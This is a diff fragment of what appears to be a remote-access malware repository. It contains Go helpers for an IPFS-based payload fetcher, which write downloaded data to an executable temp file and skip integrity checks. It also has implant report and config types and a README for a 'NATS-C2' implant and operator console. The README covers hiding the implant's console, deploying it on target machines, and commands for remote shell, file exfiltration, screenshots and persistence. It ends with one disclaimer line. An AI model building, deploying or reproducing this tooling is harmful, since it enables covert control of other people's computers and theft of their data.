// A proper implementation would decode the CID multihash.
|
||||||
|
func VerifyCID(data []byte, cid string) error {
|
||||||
|
if len(data) == 0 {
|
||||||
|
return fmt.Errorf("empty data for CID %s", cid)
|
||||||
|
}
|
||||||
|
|
||||||
|
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
|
||||||
|
if strings.HasPrefix(cid, "Qm") {
|
||||||
|
h := sha256.Sum256(data)
|
||||||
|
hashHex := hex.EncodeToString(h[:])
|
||||||
|
|
||||||
|
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
|
||||||
|
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
|
||||||
|
// We can't easily decode base58 here without a library, so we just
|
||||||
|
// verify data isn't empty and log the hash for manual verification.
|
||||||
|
_ = hashHex // would compare against decoded multihash
|
||||||
|
return nil // skip full verification without base58 lib
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsValidCID performs basic CID format validation.
|
||||||
|
func IsValidCID(cid string) bool {
|
||||||
|
cid = strings.TrimSpace(cid)
|
||||||
|
if len(cid) < 10 || len(cid) > 100 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// CIDv0: starts with Qm, base58
|
||||||
|
if strings.HasPrefix(cid, "Qm") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// CIDv1: starts with b (base32), contains only valid chars
|
||||||
|
if strings.HasPrefix(cid, "b") {
|
||||||
|
for _, c := range cid {
|
||||||
|
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveTempFile saves data to a temporary file and returns the path.
|
||||||
|
func SaveTempFile(data []byte, pattern string) (string, error) {
|
||||||
|
f, err := os.CreateTemp("", pattern)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to create temp file: %w", err)
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
if _, err := f.Write(data); err != nil {
|
||||||
|
os.Remove(f.Name())
|
||||||
|
return "", fmt.Errorf("failed to write temp file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := f.Chmod(0755); err != nil {
|
||||||
|
os.Remove(f.Name())
|
||||||
|
return "", fmt.Errorf("failed to chmod temp file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return f.Name(), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
// Package types defines shared types for the C2 IPFS payload system.
|
||||||
|
package types
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
// CIDEntry represents a CID submission with metadata.
|
||||||
|
type CIDEntry struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Timestamp time.Time `json:"timestamp"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// StatusResponse is returned by the server status endpoint.
|
||||||
|
type StatusResponse struct {
|
||||||
|
CurrentCID string `json:"current_cid"`
|
||||||
|
History []CIDEntry `json:"history"`
|
||||||
|
Mode string `json:"mode"` // "http" or "contract"
|
||||||
|
Uptime string `json:"uptime"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ImplantReport is sent by the implant after executing a payload.
|
||||||
|
type ImplantReport struct {
|
||||||
|
ImplantID string `json:"implant_id"`
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
Platform string `json:"platform,omitempty"`
|
||||||
|
Hostname string `json:"hostname,omitempty"`
|
||||||
|
Timestamp string `json:"timestamp"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config holds the persistent implant configuration.
|
||||||
|
type Config struct {
|
||||||
|
ImplantID string `json:"implant_id"`
|
||||||
|
LastCID string `json:"last_cid"`
|
||||||
|
PollInterval int `json:"poll_interval"` // seconds
|
||||||
|
DecryptionKey string `json:"decryption_key"`
|
||||||
|
CIDSource string `json:"cid_source"` // URL or contract address
|
||||||
|
Mode string `json:"mode"` // "http" or "contract"
|
||||||
|
Gateways []string `json:"gateways"`
|
||||||
|
ReportURL string `json:"report_url,omitempty"`
|
||||||
|
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
|
||||||
|
}
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,255 @@
|
|||||||
|
# noPROXY_c2s – NATS‑C2
|
||||||
|
|
||||||
|
**NATS‑based Command & Control with end‑to‑end encryption, multi‑server failover, JWT authentication, and built‑in post‑exploitation modules.**
|
||||||
|
This project provides a production‑ready implant and operator console written in Go, designed for stealthy red team operations or authorised penetration testing.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
The `nats-c2` component implements a lightweight C2 channel over [NATS](https://nats.io/) – a high‑performance messaging system used in cloud‑native environments. By blending C2 traffic with legitimate microservice traffic, the implant evades many detection mechanisms.
|
||||||
|
|
||||||
|
Key design choices:
|
||||||
|
|
||||||
|
- **Go binaries** – single‑file, no runtime dependencies, cross‑compiled for Windows and Linux.
|
||||||
|
- **AES‑GCM encryption** – all messages (heartbeats, commands, results, exfiltrated data) are encrypted with a 256‑bit key. Even if traffic is captured, the payloads are unreadable.
|
||||||
|
- **Multi‑server failover** – the implant tries a list of NATS servers; if one fails, it automatically switches to the next.
|
||||||
|
- **JWT authentication** – uses NATS 2.0 JWT credentials to prevent unauthorised agents from connecting.
|
||||||
|
- **Modular post‑ex** – supports shell command execution, file upload/download, screenshots, and persistence installation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
| Feature | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| Shell commands | Execute arbitrary system commands via `shell` |
|
||||||
|
| File upload | Retrieve files from the implant (`upload`) |
|
||||||
|
| File download | Push files to the implant (`download`) |
|
||||||
|
| Screenshot | Capture the desktop and exfiltrate as PNG |
|
||||||
|
| Persistence | Install as a scheduled task (Windows) or cron job (Linux) |
|
||||||
|
| Heartbeat | Periodic online status updates (`heartbeat`) |
|
||||||
|
| Multi‑server | Automatic failover across multiple NATS endpoints |
|
||||||
|
| Encryption | AES‑GCM for all traffic |
|
||||||
|
| JWT auth | Credential‑based authentication for the implant |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Repository Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
nats-c2/
|
||||||
|
├── implant.go # Implant code (victim side)
|
||||||
|
├── operator.go # Operator console (C2 side)
|
||||||
|
├── generate_key.go # Utility to generate a random AES‑256 key
|
||||||
|
├── go.mod # Go module definition
|
||||||
|
├── go.sum # Dependency checksums
|
||||||
|
└── README.md # This file
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- **Go 1.21+** (to compile)
|
||||||
|
- **NATS server** – you can run a local instance or use a cloud‑hosted NATS service.
|
||||||
|
- **nsc** – NATS JWT management tool (optional if you use static credentials).
|
||||||
|
Install with:
|
||||||
|
```bash
|
||||||
|
curl -sf https://binaries.nats.dev/nats-io/nsc/v2@latest | sh
|
||||||
|
sudo mv nsc /usr/local/bin/
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
### 1. Clone the repository
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://git.churchofmalware.org/ek0mssavi0r/noPROXY_c2s.git
|
||||||
|
cd noPROXY_c2s/nats-c2
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Generate an AES encryption key
|
||||||
|
|
||||||
|
Run the provided utility:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
go run generate_key.go
|
||||||
|
```
|
||||||
|
|
||||||
|
Output example:
|
||||||
|
```
|
||||||
|
rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c=
|
||||||
|
```
|
||||||
|
|
||||||
|
Copy this base64 string. You will need to paste it into **both** `implant.go` and `operator.go` as the value of `b64Key`.
|
||||||
|
|
||||||
|
### 3. Configure JWT authentication (optional but recommended)
|
||||||
|
|
||||||
|
If you want to restrict which implants can connect to your NATS server, generate JWT credentials:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Create an operator (root of trust)
|
||||||
|
nsc add operator --name C2Operator
|
||||||
|
|
||||||
|
# Create an account
|
||||||
|
nsc add account --name C2Account
|
||||||
|
|
||||||
|
# Create a user for implants
|
||||||
|
nsc add user --name C2Implant
|
||||||
|
|
||||||
|
# Generate the credentials file
|
||||||
|
nsc generate creds --account C2Account --user C2Implant > implant.creds
|
||||||
|
```
|
||||||
|
|
||||||
|
Place `implant.creds` in the same directory as the implant binary when deployed.
|
||||||
|
|
||||||
|
Alternatively, you can run without JWT by removing the `UserCredentials` option in the `connectWithRetries` function – the code already falls back to no auth if the file is missing.
|
||||||
|
|
||||||
|
### 4. Configure NATS server addresses
|
||||||
|
|
||||||
|
Edit `implant.go` and `operator.go` and adjust the `natsServers` / `natsURL` variables to point to your NATS infrastructure.
|
||||||
|
|
||||||
|
```go
|
||||||
|
var natsServers = []string{
|
||||||
|
"nats://your-server-1:4222",
|
||||||
|
"nats://your-server-2:4222",
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Build the binaries
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build the operator (runs on your C2 machine)
|
||||||
|
go build -o operator operator.go
|
||||||
|
|
||||||
|
# Build the Windows implant (hide console window)
|
||||||
|
GOOS=windows GOARCH=amd64 go build -ldflags="-H windowsgui" -o implant.exe implant.go
|
||||||
|
|
||||||
|
# Build the Linux implant
|
||||||
|
GOOS=linux GOARCH=amd64 go build -o implant implant.go
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
### Start the NATS server
|
||||||
|
|
||||||
|
If you are running a local NATS server:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nats-server -p 4222
|
||||||
|
```
|
||||||
|
|
||||||
|
For JWT‑enabled servers, generate a configuration file with `nsc generate config --mem-resolver --config-file server.conf` and start with:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nats-server -c server.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run the operator console
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./operator
|
||||||
|
```
|
||||||
|
|
||||||
|
The operator will connect to the configured NATS server and present a prompt. It automatically subscribes to heartbeats, results, and file uploads from all agents.
|
||||||
|
|
||||||
|
### Deploy the implant
|
||||||
|
|
||||||
|
Copy the implant binary (and `implant.creds` if used) to the target machine and execute it. The implant will:
|
||||||
|
|
||||||
|
- Connect to the first available NATS server
|
||||||
|
- Send an initial heartbeat
|
||||||
|
- Subscribe to its command topic (`c2.<agent-id>.tasks`)
|
||||||
|
- Send heartbeats every 30 seconds
|
||||||
|
|
||||||
|
No interactive output is visible on the target (Windows GUI build hides the console).
|
||||||
|
|
||||||
|
### Available commands
|
||||||
|
|
||||||
|
From the operator prompt:
|
||||||
|
|
||||||
|
| Command | Syntax | Description |
|
||||||
|
|---------|--------|-------------|
|
||||||
|
| `list` | `list` | Show agents that have sent a heartbeat in the last 90 seconds |
|
||||||
|
| `shell` | `<agent-id> shell <command>` | Execute a system command on the agent |
|
||||||
|
| `upload` | `<agent-id> upload <local_path>` | Upload a file from the agent to the operator (exfil) |
|
||||||
|
| `download` | `<agent-id> download <remote_path>` | Push a file from operator to the agent (the operator will prompt for the local file) |
|
||||||
|
| `persist` | `<agent-id> persist` | Install persistence (scheduled task / crontab) |
|
||||||
|
| `screenshot` | `<agent-id> screenshot` | Capture a screenshot and upload it |
|
||||||
|
| `exit` | `exit` | Quit the operator |
|
||||||
|
|
||||||
|
**Note:** The `download` command works by first reading a local file on the operator side, encrypting it, and sending it as a `download` task to the agent. The agent then writes the file to the given path.
|
||||||
|
|
||||||
|
#### Example session
|
||||||
|
|
||||||
|
```
|
||||||
|
> list
|
||||||
|
Active agents:
|
||||||
|
- myhost-12345
|
||||||
|
|
||||||
|
> myhost-12345 shell whoami
|
||||||
|
[+] Result from myhost-12345:
|
||||||
|
root
|
||||||
|
|
||||||
|
> myhost-12345 screenshot
|
||||||
|
[!] File saved: exfil_myhost-12345_1712345678.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Building for different platforms
|
||||||
|
|
||||||
|
Use the standard Go cross‑compilation environment variables:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Linux
|
||||||
|
GOOS=linux GOARCH=amd64 go build -o implant implant.go
|
||||||
|
|
||||||
|
# Windows (64-bit, hidden console)
|
||||||
|
GOOS=windows GOARCH=amd64 go build -ldflags="-H windowsgui" -o implant.exe implant.go
|
||||||
|
|
||||||
|
# macOS (Intel)
|
||||||
|
GOOS=darwin GOARCH=amd64 go build -o implant implant.go
|
||||||
|
|
||||||
|
# macOS (Apple Silicon)
|
||||||
|
GOOS=darwin GOARCH=arm64 go build -o implant implant.go
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Customisation
|
||||||
|
|
||||||
|
- **Change the AES key** – regenerate with `generate_key.go` and update both source files.
|
||||||
|
- **Add more NATS servers** – append to the `natsServers` slice.
|
||||||
|
- **Modify heartbeat interval** – adjust the `time.Sleep(30 * time.Second)` line.
|
||||||
|
- **Add new commands** – extend the `switch` in `implant.go` and the corresponding logic in `operator.go`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
| Issue | Likely cause | Solution |
|
||||||
|
|-------|--------------|----------|
|
||||||
|
| Operator cannot connect | NATS server not running or wrong address | Start `nats-server` or correct the URL |
|
||||||
|
| Implant fails to connect | JWT creds file missing or invalid | Ensure `implant.creds` is present and correct, or remove JWT auth |
|
||||||
|
| Screenshot not working | `robotgo` library may require additional system dependencies on Linux | Install `libx11-dev`, `libxtst-dev`, `libxrandr-dev`, etc. |
|
||||||
|
| Uploaded file is corrupted | Encryption/decryption mismatch | Ensure the same `b64Key` is used in both implant and operator |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Legal Disclaimer
|
||||||
|
|
||||||
|
> This tool is intended for authorised security testing and educational purposes only.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
- [NATS](https://nats.io/) – messaging system
|
||||||
|
- [robotgo](https://github.com/go-vgo/robotgo) – desktop automation and screenshots
|
||||||
|
- Go standard library – encryption, network, and process execution
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
// generate_key.go
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
key := make([]byte, 32)
|
||||||
|
rand.Read(key)
|
||||||
|
fmt.Println(base64.StdEncoding.EncodeToString(key))
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
module nats_c2
|
||||||
|
|
||||||
|
go 1.26.2
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/go-vgo/robotgo v1.0.2
|
||||||
|
github.com/nats-io/nats.go v1.52.0
|
||||||
|
)
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d // indirect
|
||||||
|
github.com/ebitengine/purego v0.10.0 // indirect
|
||||||
|
github.com/gen2brain/shm v0.2.1 // indirect
|
||||||
|
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||||
|
github.com/godbus/dbus/v5 v5.2.2 // indirect
|
||||||
|
github.com/jezek/xgb v1.3.0 // indirect
|
||||||
|
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a // indirect
|
||||||
|
github.com/klauspost/compress v1.18.5 // indirect
|
||||||
|
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 // indirect
|
||||||
|
github.com/nats-io/nkeys v0.4.15 // indirect
|
||||||
|
github.com/nats-io/nuid v1.0.1 // indirect
|
||||||
|
github.com/otiai10/gosseract/v2 v2.4.1 // indirect
|
||||||
|
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
|
||||||
|
github.com/shirou/gopsutil/v4 v4.26.2 // indirect
|
||||||
|
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 // indirect
|
||||||
|
github.com/tklauser/go-sysconf v0.3.16 // indirect
|
||||||
|
github.com/tklauser/numcpus v0.11.0 // indirect
|
||||||
|
github.com/vcaesar/gops v0.41.0 // indirect
|
||||||
|
github.com/vcaesar/imgo v0.41.0 // indirect
|
||||||
|
github.com/vcaesar/keycode v0.10.1 // indirect
|
||||||
|
github.com/vcaesar/screenshot v0.11.1 // indirect
|
||||||
|
github.com/vcaesar/tt v0.20.1 // indirect
|
||||||
|
github.com/yusufpapurcu/wmi v1.2.4 // indirect
|
||||||
|
golang.org/x/crypto v0.49.0 // indirect
|
||||||
|
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 // indirect
|
||||||
|
golang.org/x/image v0.38.0 // indirect
|
||||||
|
golang.org/x/sys v0.42.0 // indirect
|
||||||
|
)
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ=
|
||||||
|
github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0=
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0=
|
||||||
|
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU=
|
||||||
|
github.com/ebitengine/purego v0.10.0 h1:QIw4xfpWT6GWTzaW5XEKy3HXoqrJGx1ijYHzTF0/ISU=
|
||||||
|
github.com/ebitengine/purego v0.10.0/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||||
|
github.com/gen2brain/shm v0.2.1 h1:4ARWVKmLPeXE6Qq547N1Fdub+S285OEca+0BoxUJX6g=
|
||||||
|
github.com/gen2brain/shm v0.2.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
|
||||||
|
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||||
|
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||||
|
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||||
|
github.com/go-vgo/robotgo v1.0.2 h1:MbhSoJSzv/PNr2dL6H0Z1IUL4Uypsk2b9lQsGQ15hjU=
|
||||||
|
github.com/go-vgo/robotgo v1.0.2/go.mod h1:wb9ozpOGZS0mHt1+hg4UXzyZe9A8qytjKB84tG9iNyM=
|
||||||
|
github.com/godbus/dbus/v5 v5.2.2 h1:TUR3TgtSVDmjiXOgAAyaZbYmIeP3DPkld3jgKGV8mXQ=
|
||||||
|
github.com/godbus/dbus/v5 v5.2.2/go.mod h1:3AAv2+hPq5rdnr5txxxRwiGjPXamgoIHgz9FPBfOp3c=
|
||||||
|
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||||
|
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||||
|
github.com/jezek/xgb v1.3.0 h1:Wa1pn4GVtcmNVAVB6/pnQVJ7xPFZVZ/W1Tc27msDhgI=
|
||||||
|
github.com/jezek/xgb v1.3.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
|
||||||
|
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a h1:byHoGvaqttgBKjxlRiJrgXpEGSEGaGSehCDAEOhWdmo=
|
||||||
|
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a/go.mod h1:J+gHyFrSWnDEeTohhG6DSh048byYWPx4z0ndUu6OhYw=
|
||||||
|
github.com/klauspost/compress v1.18.5 h1:/h1gH5Ce+VWNLSWqPzOVn6XBO+vJbCNGvjoaGBFW2IE=
|
||||||
|
github.com/klauspost/compress v1.18.5/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||||
|
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 h1:Qj3hTcdWH8uMZDI41HNuTuJN525C7NBrbtH5kSO6fPk=
|
||||||
|
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749/go.mod h1:autxFIvghDt3jPTLoqZ9OZ7s9qTGNAWmYCjVFWPX/zg=
|
||||||
|
github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc=
|
||||||
|
github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno=
|
||||||
|
github.com/nats-io/nkeys v0.4.15 h1:JACV5jRVO9V856KOapQ7x+EY8Jo3qw1vJt/9Jpwzkk4=
|
||||||
|
github.com/nats-io/nkeys v0.4.15/go.mod h1:CpMchTXC9fxA5zrMo4KpySxNjiDVvr8ANOSZdiNfUrs=
|
||||||
|
github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw=
|
||||||
|
github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
|
||||||
|
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||||
|
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||||
|
github.com/otiai10/gosseract/v2 v2.4.1 h1:G8AyBpXEeSlcq8TI85LH/pM5SXk8Djy2GEXisgyblRw=
|
||||||
|
github.com/otiai10/gosseract/v2 v2.4.1/go.mod h1:1gNWP4Hgr2o7yqWfs6r5bZxAatjOIdqWxJLWsTsembk=
|
||||||
|
github.com/otiai10/mint v1.6.3 h1:87qsV/aw1F5as1eH1zS/yqHY85ANKVMgkDrf9rcxbQs=
|
||||||
|
github.com/otiai10/mint v1.6.3/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU=
|
||||||
|
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||||
|
github.com/shirou/gopsutil/v4 v4.26.2 h1:X8i6sicvUFih4BmYIGT1m2wwgw2VG9YgrDTi7cIRGUI=
|
||||||
|
github.com/shirou/gopsutil/v4 v4.26.2/go.mod h1:LZ6ewCSkBqUpvSOf+LsTGnRinC6iaNUNMGBtDkJBaLQ=
|
||||||
|
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||||
|
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||||
|
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 h1:qo7kOhoN5DHioXNlFytBzIoA5glW6lsb8YqV0lP3IyE=
|
||||||
|
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071/go.mod h1:aMd4yDHLjbOuYP6fMxj1d9ACDQlSWwYztcpybGHCQc8=
|
||||||
|
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
|
||||||
|
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
|
||||||
|
github.com/tklauser/go-sysconf v0.3.16 h1:frioLaCQSsF5Cy1jgRBrzr6t502KIIwQ0MArYICU0nA=
|
||||||
|
github.com/tklauser/go-sysconf v0.3.16/go.mod h1:/qNL9xxDhc7tx3HSRsLWNnuzbVfh3e7gh/BmM179nYI=
|
||||||
|
github.com/tklauser/numcpus v0.11.0 h1:nSTwhKH5e1dMNsCdVBukSZrURJRoHbSEQjdEbY+9RXw=
|
||||||
|
github.com/tklauser/numcpus v0.11.0/go.mod h1:z+LwcLq54uWZTX0u/bGobaV34u6V7KNlTZejzM6/3MQ=
|
||||||
|
github.com/vcaesar/gops v0.41.0 h1:FG748Jyw3FOuZnbzSgB+CQSx2e5LbLCPWV2JU1brFdc=
|
||||||
|
github.com/vcaesar/gops v0.41.0/go.mod h1:/3048L7Rj7QjQKTSB+kKc7hDm63YhTWy5QJ10TCP37A=
|
||||||
|
github.com/vcaesar/imgo v0.41.0 h1:kNLYGrThXhB9Dd6IwFmfPnxq9P6yat2g7dpPjr7OWO8=
|
||||||
|
github.com/vcaesar/imgo v0.41.0/go.mod h1:/LGOge8etlzaVu/7l+UfhJxR6QqaoX5yeuzGIMfWb4I=
|
||||||
|
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
||||||
|
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
||||||
|
github.com/vcaesar/screenshot v0.11.1 h1:GgPuN89XC4Yh38dLx4quPlSo3YiWWhwIria/j3LtrqU=
|
||||||
|
github.com/vcaesar/screenshot v0.11.1/go.mod h1:gJNwHBiP1v1v7i8TQ4yV1XJtcyn2I/OJL7OziVQkwjs=
|
||||||
|
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
|
||||||
|
github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
|
||||||
|
github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
|
||||||
|
github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||||
|
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
||||||
|
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
||||||
|
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 h1:jiDhWWeC7jfWqR9c/uplMOqJ0sbNlNWv0UkzE0vX1MA=
|
||||||
|
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90/go.mod h1:xE1HEv6b+1SCZ5/uscMRjUBKtIxworgEcEi+/n9NQDQ=
|
||||||
|
golang.org/x/image v0.38.0 h1:5l+q+Y9JDC7mBOMjo4/aPhMDcxEptsX+Tt3GgRQRPuE=
|
||||||
|
golang.org/x/image v0.38.0/go.mod h1:/3f6vaXC+6CEanU4KJxbcUZyEePbyKbaLoDOe4ehFYY=
|
||||||
|
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
